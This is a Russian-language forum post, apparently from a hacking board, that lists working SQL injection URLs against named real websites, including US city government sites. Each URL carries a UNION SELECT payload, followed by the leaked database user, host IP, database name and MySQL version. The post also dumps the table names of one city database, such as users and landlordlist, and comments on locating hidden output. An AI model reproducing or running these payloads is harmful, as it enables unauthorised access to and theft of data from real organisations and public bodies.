Код:
http://netp.us/dev_news_detail.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8--
Username: dbo249050689@212.227.119.169
Database: db249050689
Version: 4.0.27-max-log (08-00-2000)
Код:
http://www.ci.bremerton.wa.us/display.php?id=1+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7,8,9,10,11,12,13,14--
Username: remcity@localhost
Database: bremcity
Version: 5.0.51a-3ubuntu5.4
Сегодня прямо квест, "найди вывод"
Вторая часть квеста состоит в том, что нужно из исходника выкопать названия таблиц
Код:
articles
events
menus
onlinepoll
pictures
quicklinks
subsections
users
tbl_COBPARCELS
tbl_CityAddresses
tbl_ISUs
tbl_SITUS
columns_priv
db
func
help_category
help_keyword
help_relation
help_topic
host
incidentlist
landlordlist
proc
procs_priv
tables_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
user
user_info
Код:
http://www.greenville.ms.us/calendar/eventdisplay.php?id=93+union+select+concat_ws(0x3a,user(),database(),version()),2,3--
Username: greenville428045@216.251.35.189
Database: calendar_greenville_ms_us
Version: 5.0.90-log
Код:
http://adhonep.us/index.php?id_version=1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--
Username: adhonepu_root@localhost
Database: adhonepu_adhonep
Version: 5.0.51a-standard
Вывод в ссылке, ссылка — белым шрифтом по белому фону. При наводке меняет цвет
Код:
http://www.ifph.us/learning/research.php?ID=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8--
Username: heirraiser@97.74.24.120
Database: heirraiser
Version: 5.0.67.d7-ourdelta-log
Код:
http://www.preparingheirs.us/events/index.php?ID=2+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11--
Эта инъекция общая с предыдущей, т.е. Username, Database и Version — те же.